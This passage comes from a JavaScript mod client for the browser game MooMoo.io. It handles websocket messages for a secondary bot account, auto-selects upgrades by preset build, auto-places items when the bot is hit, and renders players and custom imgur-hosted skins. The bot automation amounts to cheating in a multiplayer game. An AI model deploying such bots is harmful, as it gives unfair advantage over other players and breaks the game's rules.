  9409. if(cdf(player, botPlayer) <= 110)
  9410. bot.sendWS("a", undefined);
  9411. else
  9412. bot.sendWS("a", caf(player, botPlayer) + Math.PI);
  9413. }
  9414. }
  9415. }
  9416. }
  9417. }
  9418. }
  9419. }
  9420. }
  9421. if (type == "H") {
  9422. let tmpData = data[0];
  9423. for (let i = 0; i < tmpData.length;) {
  9424. botObjManager.add(tmpData[i], tmpData[i + 1], tmpData[i + 2], tmpData[i + 3], tmpData[i + 4],
  9425. tmpData[i + 5], items.list[tmpData[i + 6]], true, (tmpData[i + 7] >= 0 ? {
  9426. sid: tmpData[i + 7]
  9427. } : null));
  9428. i += 8;
  9429. }
  9430. }
  9431. if (type == "N") {
  9432. let index = data[0];
  9433. let value = data[1];
  9434. if (botPlayer) {
  9435. botPlayer[index] = value;
  9436. }
  9437. }
  9438. if (type == "O") {
  9439. if (data[0] == botPlayer.sid) {
  9440. botPlayer.oldHealth = botPlayer.health;
  9441. botPlayer.health = data[1];
  9442. botPlayer.judgeShame();
  9443. if (botPlayer.oldHealth > botPlayer.health) {
  9444. if (botPlayer.shameCount < 5) {
  9445. for (let i = 0; i < 2; i++) {
  9446. bot.place(0, botPlayer.nDir);
  9447. }
  9448.  
  9449. } else {
  9450. setTimeout(() => {
  9451. for (let i = 0; i < 2; i++) {
  9452. bot.place(0, botPlayer.nDir);
  9453. }
  9454. }, 95);
  9455. }
  9456. }
  9457. }
  9458. }
  9459. if (type == "Q") {
  9460. let sid = data[0];
  9461. botObjManager.disableBySid(sid);
  9462. }
  9463. if (type == "R") {
  9464. let sid = data[0];
  9465. if (botPlayer.alive) botObjManager.removeAllItems(sid);
  9466. }
  9467. if (type == "S") {
  9468. let index = data[0];
  9469. let value = data[1];
  9470. if (botPlayer) {
  9471. botPlayer.itemCounts[index] = value;
  9472. }
  9473. }
  9474. if (type == "U") {
  9475. if (data[0] > 0) {
  9476. if(getEl("setup").value == 'dm') {
  9477. if (botPlayer.upgraded == 0) {
  9478. bot.sendUpgrade(7);
  9479. } else if (botPlayer.upgraded == 1) {
  9480. bot.sendUpgrade(17);
  9481. } else if (botPlayer.upgraded == 2) {
  9482. bot.sendUpgrade(31);
  9483. } else if (botPlayer.upgraded == 3) {
  9484. bot.sendUpgrade(23);
  9485. } else if (botPlayer.upgraded == 4) {
  9486. bot.sendUpgrade(9);
  9487. } else if (botPlayer.upgraded == 5) {
  9488. bot.sendUpgrade(34);
  9489. } else if (botPlayer.upgraded == 6) {
  9490. bot.sendUpgrade(12);
  9491. } else if (botPlayer.upgraded == 7) {
  9492. bot.sendUpgrade(15);
  9493. }
  9494. } else if(getEl("setup").value == 'dr') {
  9495. if (botPlayer.upgraded == 0) {
  9496. bot.sendUpgrade(7);
  9497. } else if (botPlayer.upgraded == 1) {
  9498. bot.sendUpgrade(17);
  9499. } else if (botPlayer.upgraded == 2) {
  9500. bot.sendUpgrade(31);
  9501. } else if (botPlayer.upgraded == 3) {
  9502. bot.sendUpgrade(23);
  9503. } else if (botPlayer.upgraded == 4) {
  9504. bot.sendUpgrade(9);
  9505. } else if (botPlayer.upgraded == 5) {
  9506. bot.sendUpgrade(34);
  9507. } else if (botPlayer.upgraded == 6) {
  9508. bot.sendUpgrade(12);
  9509. } else if (botPlayer.upgraded == 7) {
  9510. bot.sendUpgrade(13);
  9511. }
  9512. } else if(getEl("setup").value == 'kh') {
  9513. if (botPlayer.upgraded == 0) {
  9514. bot.sendUpgrade(3);
  9515. } else if (botPlayer.upgraded == 1) {
  9516. bot.sendUpgrade(17);
  9517. } else if (botPlayer.upgraded == 2) {
  9518. bot.sendUpgrade(31);
  9519. } else if (botPlayer.upgraded == 3) {
  9520. bot.sendUpgrade(27);
  9521. } else if (botPlayer.upgraded == 4) {
  9522. bot.sendUpgrade(10);
  9523. } else if (botPlayer.upgraded == 5) {
  9524. bot.sendUpgrade(34);
  9525. } else if (botPlayer.upgraded == 6) {
  9526. bot.sendUpgrade(4);
  9527. } else if (botPlayer.upgraded == 7) {
  9528. bot.sendUpgrade(25);
  9529. }
  9530. } else if(getEl("setup").value == 'zd') {
  9531. if (botPlayer.upgraded == 0) {
  9532. bot.sendUpgrade(3);
  9533. } else if (botPlayer.upgraded == 1) {
  9534. bot.sendUpgrade(17);
  9535. } else if (botPlayer.upgraded == 2) {
  9536. bot.sendUpgrade(31);
  9537. } else if (botPlayer.upgraded == 3) {
  9538. bot.sendUpgrade(27);
  9539. } else if (botPlayer.upgraded == 4) {
  9540. bot.sendUpgrade(9);
  9541. } else if (botPlayer.upgraded == 5) {
  9542. bot.sendUpgrade(34);
  9543. } else if (botPlayer.upgraded == 6) {
  9544. bot.sendUpgrade(12);
  9545. } else if (botPlayer.upgraded == 7) {
  9546. bot.sendUpgrade(15);
  9547. }
  9548. }
  9549. botPlayer.upgraded++;
  9550. }
  9551. }
  9552. if (type == "V") {
  9553. let tmpData = data[0];
  9554. let wpn = data[1];
  9555. if (tmpData) {
  9556. if (wpn) botPlayer.weapons = tmpData;
  9557. else botPlayer.items = tmpData;
  9558. }
  9559.  
  9560. }
  9561. if (type == "5") {
  9562. let type = data[0];
  9563. let id = data[1];
  9564. let index = data[2];
  9565. if (index) {
  9566. if (!type)
  9567. botPlayer.tails[id] = 1;
  9568. else
  9569. botPlayer.latestTail = id;
  9570. } else {
  9571. if (!type)
  9572. botPlayer.skins[id] = 1;
  9573. else
  9574. botPlayer.latestSkin = id;
  9575. }
  9576. }
  9577.  
  9578. if (type == "6") {
  9579. let id = data[0];
  9580. let mzg = data[1]+'';
  9581. if(id == player.sid && mzg.includes("syncon")) {
  9582. bot.zync(botPlayer.near);
  9583. }
  9584. }
  9585. };
  9586. bot.onclose = function() {
  9587. botPlayer.inGame = false;
  9588. bD.inGame = false;
  9589. };
  9590. }
  9591.  
  9592. // RENDER LEAF:
  9593. function renderLeaf(x, y, l, r, ctxt) {
  9594. let endX = x + (l * Math.cos(r));
  9595. let endY = y + (l * Math.sin(r));
  9596. let width = l * 0.4;
  9597. ctxt.moveTo(x, y);
  9598. ctxt.beginPath();
  9599. ctxt.quadraticCurveTo(((x + endX) / 2) + (width * Math.cos(r + Math.PI / 2)),
  9600. ((y + endY) / 2) + (width * Math.sin(r + Math.PI / 2)), endX, endY);
  9601. ctxt.quadraticCurveTo(((x + endX) / 2) - (width * Math.cos(r + Math.PI / 2)),
  9602. ((y + endY) / 2) - (width * Math.sin(r + Math.PI / 2)), x, y);
  9603. ctxt.closePath();
  9604. ctxt.fill();
  9605. ctxt.stroke();
  9606. }
  9607.  
  9608. // RENDER CIRCLE:
  9609. function renderCircle(x, y, scale, tmpContext, dontStroke, dontFill) {
  9610. tmpContext = tmpContext || mainContext;
  9611. tmpContext.beginPath();
  9612. tmpContext.arc(x, y, scale, 0, 2 * Math.PI);
  9613. if (!dontFill) tmpContext.fill();
  9614. if (!dontStroke) tmpContext.stroke();
  9615. }
  9616.  
  9617. function renderHealthCircle(x, y, scale, tmpContext, dontStroke, dontFill) {
  9618. tmpContext = tmpContext || mainContext;
  9619. tmpContext.beginPath();
  9620. tmpContext.arc(x, y, scale, 0, 2 * Math.PI);
  9621. if (!dontFill) tmpContext.fill();
  9622. if (!dontStroke) tmpContext.stroke();
  9623. }
  9624.  
  9625. // RENDER STAR SHAPE:
  9626. function renderStar(ctxt, spikes, outer, inner) {
  9627. let rot = Math.PI / 2 * 3;
  9628. let x, y;
  9629. let step = Math.PI / spikes;
  9630. ctxt.beginPath();
  9631. ctxt.moveTo(0, -outer);
  9632. for (let i = 0; i < spikes; i++) {
  9633. x = Math.cos(rot) * outer;
  9634. y = Math.sin(rot) * outer;
  9635. ctxt.lineTo(x, y);
  9636. rot += step;
  9637. x = Math.cos(rot) * inner;
  9638. y = Math.sin(rot) * inner;
  9639. ctxt.lineTo(x, y);
  9640. rot += step;
  9641. }
  9642. ctxt.lineTo(0, -outer);
  9643. ctxt.closePath();
  9644. }
  9645.  
  9646. function renderHealthStar(ctxt, spikes, outer, inner) {
  9647. let rot = Math.PI / 2 * 3;
  9648. let x, y;
  9649. let step = Math.PI / spikes;
  9650. ctxt.beginPath();
  9651. ctxt.moveTo(0, -outer);
  9652. for (let i = 0; i < spikes; i++) {
  9653. x = Math.cos(rot) * outer;
  9654. y = Math.sin(rot) * outer;
  9655. ctxt.lineTo(x, y);
  9656. rot += step;
  9657. x = Math.cos(rot) * inner;
  9658. y = Math.sin(rot) * inner;
  9659. ctxt.lineTo(x, y);
  9660. rot += step;
  9661. }
  9662. ctxt.lineTo(0, -outer);
  9663. ctxt.closePath();
  9664. }
  9665.  
  9666. // RENDER RECTANGLE:
  9667. function renderRect(x, y, w, h, ctxt, dontStroke, dontFill) {
  9668. if (!dontFill) ctxt.fillRect(x - (w / 2), y - (h / 2), w, h);
  9669. if (!dontStroke) ctxt.strokeRect(x - (w / 2), y - (h / 2), w, h);
  9670. }
  9671.  
  9672. function renderHealthRect(x, y, w, h, ctxt, dontStroke, dontFill) {
  9673. if (!dontFill) ctxt.fillRect(x - (w / 2), y - (h / 2), w, h);
  9674. if (!dontStroke) ctxt.strokeRect(x - (w / 2), y - (h / 2), w, h);
  9675. }
  9676.  
  9677. // RENDER RECTCIRCLE:
  9678. function renderRectCircle(x, y, s, sw, seg, ctxt, dontStroke, dontFill) {
  9679. ctxt.save();
  9680. ctxt.translate(x, y);
  9681. seg = Math.ceil(seg / 2);
  9682. for (let i = 0; i < seg; i++) {
  9683. renderRect(0, 0, s * 2, sw, ctxt, dontStroke, dontFill);
  9684. ctxt.rotate(Math.PI / seg);
  9685. }
  9686. ctxt.restore();
  9687. }
  9688.  
  9689. // RENDER BLOB:
  9690. function renderBlob(ctxt, spikes, outer, inner) {
  9691. let rot = Math.PI / 2 * 3;
  9692. let x, y;
  9693. let step = Math.PI / spikes;
  9694. let tmpOuter;
  9695. ctxt.beginPath();
  9696. ctxt.moveTo(0, -inner);
  9697. for (let i = 0; i < spikes; i++) {
  9698. tmpOuter = UTILS.randInt(outer + 0.9, outer * 1.2);
  9699. ctxt.quadraticCurveTo(Math.cos(rot + step) * tmpOuter, Math.sin(rot + step) * tmpOuter,
  9700. Math.cos(rot + (step * 2)) * inner, Math.sin(rot + (step * 2)) * inner);
  9701. rot += step * 2;
  9702. }
  9703. ctxt.lineTo(0, -inner);
  9704. ctxt.closePath();
  9705. }
  9706.  
  9707. // RENDER TRIANGLE:
  9708. function renderTriangle(s, ctx) {
  9709. ctx = ctx || mainContext;
  9710. let h = s * (Math.sqrt(3) / 2);
  9711. ctx.beginPath();
  9712. ctx.moveTo(0, -h / 2);
  9713. ctx.lineTo(-s / 2, h / 2);
  9714. ctx.lineTo(s / 2, h / 2);
  9715. ctx.lineTo(0, -h / 2);
  9716. ctx.fill();
  9717. ctx.closePath();
  9718. }
  9719.  
  9720. // PREPARE MENU BACKGROUND:
  9721. function prepareMenuBackground() {
  9722. // let tmpMid = config.mapScale / 2;
  9723. // let attempts = 0;
  9724. // for (let i = 0; i < items.list.length * 3;) {
  9725. // if (attempts >= 1000) break;
  9726. // attempts++;
  9727. // let type = items.list[UTILS.randInt(0, items.list.length - 1)];
  9728. // let data = {
  9729. // x: tmpMid + UTILS.randFloat(-1000, 1000),
  9730. // y: tmpMid + UTILS.randFloat(-600, 600),
  9731. // dir: UTILS.fixTo(Math.random() * (Math.PI * 2), 2)
  9732. // };
  9733. // if (objectManager.checkItemLocation(data.x, data.y, type.scale, 0.6, type.id, true)) {
  9734. // objectManager.add(i, data.x, data.y, data.dir, type.scale, type.id, type);
  9735. // } else {
  9736. // continue;
  9737. // }
  9738. // i++;
  9739. // }
  9740. }
  9741.  
  9742. const speed = 1;
  9743. // RENDER PLAYERS:
  9744. function renderDeadPlayers(xOffset, yOffset) {
  9745. mainContext.fillStyle = "#91b2db";
  9746. const currentTime = Date.now();
  9747. deadPlayers.filter(dead => dead.active).forEach((dead) => {
  9748. if (!dead.startTime) {
  9749. dead.startTime = currentTime;
  9750. dead.angle = 0;
  9751. dead.radius = 0.1;
  9752. }
  9753. const timeElapsed = currentTime - dead.startTime;
  9754. const maxAlpha = 1;
  9755. dead.alpha = Math.max(0, maxAlpha - (timeElapsed / 3000));
  9756. dead.animate(delta);
  9757. mainContext.globalAlpha = dead.alpha;
  9758. mainContext.strokeStyle = outlineColor;
  9759. mainContext.save();
  9760. mainContext.translate(dead.x - xOffset, dead.y - yOffset);
  9761. dead.radius -= 0.001;
  9762. dead.angle += 0.0174533;
  9763. const moveSpeed = 1;
  9764. const x = dead.radius * Math.cos(dead.angle);
  9765. const y = dead.radius * Math.sin(dead.angle);
  9766. dead.x += x * moveSpeed;
  9767. dead.y += y * moveSpeed;
  9768. mainContext.rotate(dead.angle);
  9769. renderDeadPlayer(dead, mainContext);
  9770. mainContext.restore();
  9771. mainContext.fillStyle = "#91b2db";
  9772. if (timeElapsed >= 3000) {
  9773. dead.active = false;
  9774. dead.startTime = null;
  9775. }
  9776. });
  9777. }
  9778. // RENDER PLAYERS:
  9779. function renderPlayers(xOffset, yOffset, zIndex) {
  9780. mainContext.globalAlpha = 1;
  9781. mainContext.fillStyle = "#91b2db";
  9782. for (var i = 0; i < players.length; ++i) {
  9783. tmpObj = players[i];
  9784. if (tmpObj.zIndex == zIndex) {
  9785. tmpObj.animate(delta);
  9786. if (tmpObj.visible) {
  9787. tmpObj.skinRot += (0.002 * delta);
  9788. tmpDir = (tmpObj==player?getVisualDir():(tmpObj.dir || 0));
  9789. mainContext.save();
  9790. mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
  9791. // RENDER PLAYER:
  9792. mainContext.rotate(tmpDir + tmpObj.dirPlus);
  9793. renderPlayer(tmpObj, mainContext);
  9794. mainContext.restore();
  9795. }
  9796. }
  9797. }
  9798. }
  9799. // RENDER DEAD PLAYER:
  9800. function renderDeadPlayer(obj, ctxt) {
  9801. ctxt = ctxt || mainContext;
  9802. ctxt.lineWidth = outlineWidth;
  9803. ctxt.lineJoin = "miter";
  9804. let handAngle = (Math.PI / 4) * (items.weapons[obj.weaponIndex].armS||1);
  9805. let oHandAngle = (obj.buildIndex < 0)?(items.weapons[obj.weaponIndex].hndS||1):1;
  9806. let oHandDist = (obj.buildIndex < 0)?(items.weapons[obj.weaponIndex].hndD||1):1;
  9807. // TAIL/CAPE:
  9808. renderTail2(13, ctxt, obj);
  9809. // WEAPON BELLOW HANDS:
  9810. if (obj.buildIndex < 0 && !items.weapons[obj.weaponIndex].aboveHand) {
  9811. renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant || 0].src || "", obj.scale, 0, ctxt);
  9812. if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
  9813. renderProjectile(obj.scale, 0,
  9814. items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
  9815. }
  9816. }
  9817. // HANDS:
  9818. ctxt.fillStyle = "#ececec";
  9819. renderCircle(obj.scale * Math.cos(handAngle), (obj.scale * Math.sin(handAngle)), 14);
  9820. renderCircle((obj.scale * oHandDist) * Math.cos(-handAngle * oHandAngle),
  9821. (obj.scale * oHandDist) * Math.sin(-handAngle * oHandAngle), 14);
  9822. // WEAPON ABOVE HANDS:
  9823. if (obj.buildIndex < 0 && items.weapons[obj.weaponIndex].aboveHand) {
  9824. renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant || 0].src || "", obj.scale, 0, ctxt);
  9825. if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
  9826. renderProjectile(obj.scale, 0,
  9827. items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
  9828. }
  9829. }
  9830. // BUILD ITEM:
  9831. if (obj.buildIndex >= 0) {
  9832. var tmpSprite = getItemSprite(items.list[obj.buildIndex]);
  9833. ctxt.drawImage(tmpSprite, obj.scale - items.list[obj.buildIndex].holdOffset, -tmpSprite.width / 2);
  9834. }
  9835. // BODY:
  9836. renderCircle(0, 0, obj.scale, ctxt);
  9837. // SKIN
  9838. renderSkin2(48, ctxt, null, obj)
  9839. }
  9840.  
  9841. // RENDER PLAYER:
  9842. function renderPlayer(obj, ctxt) {
  9843. ctxt = ctxt || mainContext;
  9844. ctxt.lineWidth = outlineWidth;
  9845. ctxt.lineJoin = "miter";
  9846. let handAngle = (Math.PI / 4) * (items.weapons[obj.weaponIndex].armS || 1);
  9847. let oHandAngle = (obj.buildIndex < 0) ? (items.weapons[obj.weaponIndex].hndS || 1) : 1;
  9848. let oHandDist = (obj.buildIndex < 0) ? (items.weapons[obj.weaponIndex].hndD || 1) : 1;
  9849.  
  9850. let katanaMusket = (obj == player && obj.weapons[0] == 3 && obj.weapons[1] == 15);
  9851.  
  9852. // TAIL/CAPE:
  9853. if (obj.tailIndex > 0) {
  9854. renderTailTextureImage(obj.tailIndex, ctxt, obj);
  9855. }
  9856.  
  9857. // WEAPON BELLOW HANDS:
  9858. if (obj.buildIndex < 0 && !items.weapons[obj.weaponIndex].aboveHand) {
  9859. renderTool(items.weapons[katanaMusket ? 4 : obj.weaponIndex], config.weaponVariants[obj.weaponVariant].src, obj.scale, 0, ctxt);
  9860. if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
  9861. renderProjectile(obj.scale, 0,
  9862. items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
  9863. }
  9864. }
  9865.  
  9866. // HANDS:
  9867. ctxt.fillStyle = config.skinColors[obj.skinColor];
  9868. renderCircle(obj.scale * Math.cos(handAngle), (obj.scale * Math.sin(handAngle)), 14);
  9869. renderCircle((obj.scale * oHandDist) * Math.cos(-handAngle * oHandAngle),
  9870. (obj.scale * oHandDist) * Math.sin(-handAngle * oHandAngle), 14);
  9871.  
  9872. // WEAPON ABOVE HANDS:
  9873. if (obj.buildIndex < 0 && items.weapons[obj.weaponIndex].aboveHand) {
  9874. renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant].src, obj.scale, 0, ctxt);
  9875. if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
  9876. renderProjectile(obj.scale, 0,
  9877. items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
  9878. }
  9879. }
  9880.  
  9881. // BUILD ITEM:
  9882. if (obj.buildIndex >= 0) {
  9883. var tmpSprite = getItemSprite(items.list[obj.buildIndex]);
  9884. ctxt.drawImage(tmpSprite, obj.scale - items.list[obj.buildIndex].holdOffset, -tmpSprite.width / 2);
  9885. }
  9886.  
  9887. // BODY:
  9888. renderCircle(0, 0, obj.scale, ctxt);
  9889.  
  9890. // SKIN:
  9891. if (obj.skinIndex > 0) {
  9892. ctxt.rotate(Math.PI / 2);
  9893. renderTextureSkin(obj.skinIndex, ctxt, null, obj);
  9894. }
  9895.  
  9896. }
  9897.  
  9898. // RENDER NORMAL SKIN
  9899. var skinSprites2 = {};
  9900. var skinPointers2 = {};
  9901. function renderSkin2(index, ctxt, parentSkin, owner) {
  9902. tmpSkin = skinSprites2[index];
  9903. if (!tmpSkin) {
  9904. var tmpImage = new Image();
  9905. tmpImage.onload = function() {
  9906. this.isLoaded = true;
  9907. this.onload = null;
  9908. };
  9909. //tmpImage.src = "https://moomoo.io/img/hats/hat_" + index + ".png";
  9910. tmpImage.src = "https://moomoo.io/img/hats/hat_" + index + ".png";
  9911. skinSprites2[index] = tmpImage;
  9912. tmpSkin = tmpImage;
  9913. }
  9914. var tmpObj = parentSkin||skinPointers2[index];
  9915. if (!tmpObj) {
  9916. for (var i = 0; i < hats.length; ++i) {
  9917. if (hats[i].id == index) {
  9918. tmpObj = hats[i];
  9919. break;
  9920. }
  9921. }
  9922. skinPointers2[index] = tmpObj;
  9923. }
  9924. if (tmpSkin.isLoaded)
  9925. ctxt.drawImage(tmpSkin, -tmpObj.scale/2, -tmpObj.scale/2, tmpObj.scale, tmpObj.scale);
  9926. if (!parentSkin && tmpObj.topSprite) {
  9927. ctxt.save();
  9928. ctxt.rotate(owner.skinRot);
  9929. renderSkin2(index + "_top", ctxt, tmpObj, owner);
  9930. ctxt.restore();
  9931. }
  9932. }
  9933.  
  9934. // RENDER SKIN:
  9935. function renderTextureSkin(index, ctxt, parentSkin, owner) {
  9936. if (!(tmpSkin = skinSprites[index + (txt ? "lol" : 0)])) {
  9937. var tmpImage = new Image();
  9938. tmpImage.onload = function() {
  9939. this.isLoaded = true,
  9940. this.onload = null
  9941. }
  9942. ,
  9943. tmpImage.src = setSkinTextureImage(index, "hat", index),
  9944. skinSprites[index + (txt ? "lol" : 0)] = tmpImage,
  9945. tmpSkin = tmpImage
  9946. }
  9947. var tmpObj = parentSkin||skinPointers[index];
  9948. if (!tmpObj) {
  9949. for (var i = 0; i < hats.length; ++i) {
  9950. if (hats[i].id == index) {
  9951. tmpObj = hats[i];
  9952. break;
  9953. }
  9954. }
  9955. skinPointers[index] = tmpObj;
  9956. }
  9957. if (tmpSkin.isLoaded)
  9958. ctxt.drawImage(tmpSkin, -tmpObj.scale/2, -tmpObj.scale/2, tmpObj.scale, tmpObj.scale);
  9959. if (!parentSkin && tmpObj.topSprite) {
  9960. ctxt.save();
  9961. ctxt.rotate(owner.skinRot);
  9962. renderSkin(index + "_top", ctxt, tmpObj, owner);
  9963. ctxt.restore();
  9964. }
  9965. }
  9966.  
  9967. var FlareZHat = {
  9968. 7: "https://i.imgur.com/vAOzlyY.png",
  9969. 15: "https://i.imgur.com/YRQ8Ybq.png",
  9970. 40: "https://i.imgur.com/Xzmg27N.png",
  9971. 26: "https://i.imgur.com/I0xGtyZ.png",
  9972. 55: "https://i.imgur.com/uYgDtcZ.png",
  9973. 20: "https://i.imgur.com/f5uhWCk.png",
  9974. };
  9975.  
  9976. function setSkinTextureImage(id, type, id2) {
  9977. if (true) {
  9978. if(FlareZHat[id] && type == "hat") {
  9979. return FlareZHat[id];
  9980. } else {
  9981. if(type == "acc") {
  9982. return ".././img/accessories/access_" + id + ".png";
  9983. } else if(type == "hat") {
  9984. return ".././img/hats/hat_" + id + ".png";
  9985. } else {
  9986. return ".././img/weapons/" + id + ".png";
  9987. }
  9988. }
  9989. } else {
  9990. if(type == "acc") {
  9991. return ".././img/accessories/access_" + id + ".png";
  9992. } else if(type == "hat") {
  9993. return ".././img/hats/hat_" + id + ".png";
  9994. } else {
  9995. return ".././img/weapons/" + id + ".png";
  9996. }
  9997. }
  9998. }
  9999. // RENDER SKINS:
  10000. let skinSprites = {};
  10001. let skinPointers = {};
  10002. let tmpSkin;
  10003.  
  10004. function renderSkin(index, ctxt, parentSkin, owner) {
  10005. tmpSkin = skinSprites[index];
  10006. if (!tmpSkin) {
  10007. let tmpImage = new Image();
  10008. tmpImage.onload = function() {
  10009. this.isLoaded = true;
  10010. this.onload = null;
  10011. };
  10012. tmpImage.src = "https://moomoo.io/img/hats/hat_" + index + ".png";
  10013. skinSprites[index] = tmpImage;
  10014. tmpSkin = tmpImage;
  10015. }
  10016. let tmpObj = parentSkin || skinPointers[index];
  10017. if (!tmpObj) {
  10018. for (let i = 0; i < hats.length; ++i) {
  10019. if (hats[i].id == index) {
  10020. tmpObj = hats[i];
  10021. break;
  10022. }
  10023. }
  10024. skinPointers[index] = tmpObj;
  10025. }
  10026. if (tmpSkin.isLoaded)
  10027. ctxt.drawImage(tmpSkin, -tmpObj.scale / 2, -tmpObj.scale / 2, tmpObj.scale, tmpObj.scale);
  10028. if (!parentSkin && tmpObj.topSprite) {
  10029. ctxt.save();
  10030. ctxt.rotate(owner.skinRot);
  10031. renderSkin(index + "_top", ctxt, tmpObj, owner);
  10032. ctxt.restore();
  10033. }
  10034. }
  10035.  
  10036. // RENDER TAIL:
  10037. var FlareZAcc = {
  10038. 21: "https://i.imgur.com/4ddZert.png",
  10039. 19: "https://i.imgur.com/sULkUZT.png",
  10040. };
  10041. function setTailTextureImage(id, type, id2) {
  10042. if (true) {
  10043. if(FlareZAcc[id] && type == "acc") {
  10044. return FlareZAcc[id];
  10045. } else {
  10046. if(type == "acc") {
  10047. return ".././img/accessories/access_" + id + ".png";
  10048. } else if(type == "hat") {
  10049. return ".././img/hats/hat_" + id + ".png";
  10050. } else {
  10051. return ".././img/weapons/" + id + ".png";
  10052. }
  10053. }
  10054. } else {
  10055. if(type == "acc") {
  10056. return ".././img/accessories/access_" + id + ".png";
  10057. } else if(type == "hat") {
  10058. return ".././img/hats/hat_" + id + ".png";
  10059. } else {
  10060. return ".././img/weapons/" + id + ".png";
  10061. }
  10062. }
  10063. }
  10064. function renderTailTextureImage(index, ctxt, owner) {
  10065. if (!(tmpSkin = accessSprites[index + (txt ? "lol" : 0)])) {
  10066. var tmpImage = new Image();
  10067. tmpImage.onload = function() {
  10068. this.isLoaded = true,
  10069. this.onload = null
  10070. }
  10071. ,
  10072. tmpImage.src = setTailTextureImage(index, "acc"),//".././img/accessories/access_" + index + ".png";
  10073. accessSprites[index + (txt ? "lol" : 0)] = tmpImage,
  10074. tmpSkin = tmpImage;
  10075. }
  10076. var tmpObj = accessPointers[index];
  10077. if (!tmpObj) {
  10078. for (var i = 0; i < accessories.length; ++i) {
  10079. if (accessories[i].id == index) {
  10080. tmpObj = accessories[i];
  10081. break;
  10082. }
  10083. }
  10084. accessPointers[index] = tmpObj;
  10085. }
  10086. if (tmpSkin.isLoaded) {
  10087. ctxt.save();
  10088. ctxt.translate(-20 - (tmpObj.xOff||0), 0);
  10089. if (tmpObj.spin)
  10090. ctxt.rotate(owner.skinRot);
  10091. ctxt.drawImage(tmpSkin, -(tmpObj.scale/2), -(tmpObj.scale/2), tmpObj.scale, tmpObj.scale);
  10092. ctxt.restore();
  10093. }
  10094. }
  10095.  
  10096. let accessSprites = {};
  10097. let accessPointers = {};
  10098. var txt = true;
  10099.  
  10100. function renderTail(index, ctxt, owner) {
  10101. tmpSkin = accessSprites[index];
  10102. if (!tmpSkin) {
  10103. let tmpImage = new Image();
  10104. tmpImage.onload = function() {
  10105. this.isLoaded = true;
  10106. this.onload = null;
  10107. };
  10108. tmpImage.src = "https://moomoo.io/img/accessories/access_" + index + ".png";
  10109. accessSprites[index] = tmpImage;
  10110. tmpSkin = tmpImage;
  10111. }
  10112. let tmpObj = accessPointers[index];
  10113. if (!tmpObj) {
  10114. for (let i = 0; i < accessories.length; ++i) {
  10115. if (accessories[i].id == index) {
  10116. tmpObj = accessories[i];
  10117. break;
  10118. }
  10119. }
  10120. accessPointers[index] = tmpObj;
  10121. }
  10122. if (tmpSkin.isLoaded) {
  10123. ctxt.save();
  10124. ctxt.translate(-20 - (tmpObj.xOff || 0), 0);
  10125. if (tmpObj.spin)
  10126. ctxt.rotate(owner.skinRot);
  10127. ctxt.drawImage(tmpSkin, -(tmpObj.scale / 2), -(tmpObj.scale / 2), tmpObj.scale, tmpObj.scale);
  10128. ctxt.restore();
  10129. }
  10130. }
  10131.  
  10132. var accessSprites2 = {};
  10133. var accessPointers2 = {};
  10134. function renderTail2(index, ctxt, owner) {
  10135. tmpSkin = accessSprites2[index];
  10136. if (!tmpSkin) {
  10137. var tmpImage = new Image();
  10138. tmpImage.onload = function() {
  10139. this.isLoaded = true;
  10140. this.onload = null;
  10141. };
  10142. tmpImage.src = "https://moomoo.io/img/accessories/access_" + index + ".png";
  10143. accessSprites2[index] = tmpImage;
  10144. tmpSkin = tmpImage;
  10145. }
  10146. var tmpObj = accessPointers2[index];
  10147. if (!tmpObj) {
  10148. for (var i = 0; i < accessories.length; ++i) {
  10149. if (accessories[i].id == index) {
  10150. tmpObj = accessories[i];
  10151. break;
  10152. }
  10153. }
  10154. accessPointers2[index] = tmpObj;
  10155. }
  10156. if (tmpSkin.isLoaded) {
  10157. ctxt.save();
  10158. ctxt.translate(-20 - (tmpObj.xOff||0), 0);
  10159. if (tmpObj.spin)
  10160. ctxt.rotate(owner.skinRot);
  10161. ctxt.drawImage(tmpSkin, -(tmpObj.scale/2), -(tmpObj.scale/2), tmpObj.scale, tmpObj.scale);
  10162. ctxt.restore();
  10163. }
  10164. }
  10165.  
  10166. // RENDER TOOL:
  10167. let toolSprites = {};
  10168. function renderTool(obj, variant, x, y, ctxt) {
  10169. let tmpSrc = obj.src + (variant || "");
  10170. let tmpSprite = toolSprites[tmpSrc];
  10171. if (!tmpSprite) {
  10172. tmpSprite = new Image();
  10173. tmpSprite.onload = function() {
  10174. this.isLoaded = true;
  10175. }
  10176. tmpSprite.src = "https://moomoo.io/img/weapons/" + tmpSrc + ".png";
  10177. toolSprites[tmpSrc] = tmpSprite;
  10178. }
  10179. if (tmpSprite.isLoaded)
  10180. ctxt.drawImage(tmpSprite, x + obj.xOff - (obj.length / 2), y + obj.yOff - (obj.width / 2), obj.length, obj.width);
  10181. }
  10182.  
  10183. // RENDER PROJECTILES:
  10184. function renderProjectiles(layer, xOffset, yOffset) {
  10185. for (let i = 0; i < projectiles.length; i++) {
  10186. tmpObj = projectiles[i];
  10187. if (tmpObj.active && tmpObj.layer == layer && tmpObj.inWindow) {
  10188. tmpObj.update(delta);
  10189. if (tmpObj.active && isOnScreen(tmpObj.x - xOffset, tmpObj.y - yOffset, tmpObj.scale)) {
  10190. mainContext.save();
  10191. mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
  10192. mainContext.rotate(tmpObj.dir);
  10193. renderProjectile(0, 0, tmpObj, mainContext, 1);
  10194. mainContext.restore();
  10195. }
  10196. }
  10197. };
  10198. }
  10199.  
  10200. // RENDER PROJECTILE:
  10201. let projectileSprites = {};//fz iz zexy
  10202.  
  10203. function renderProjectile(x, y, obj, ctxt, debug) {
  10204. if (obj.src) {
  10205. let tmpSrc = items.projectiles[obj.indx].src;
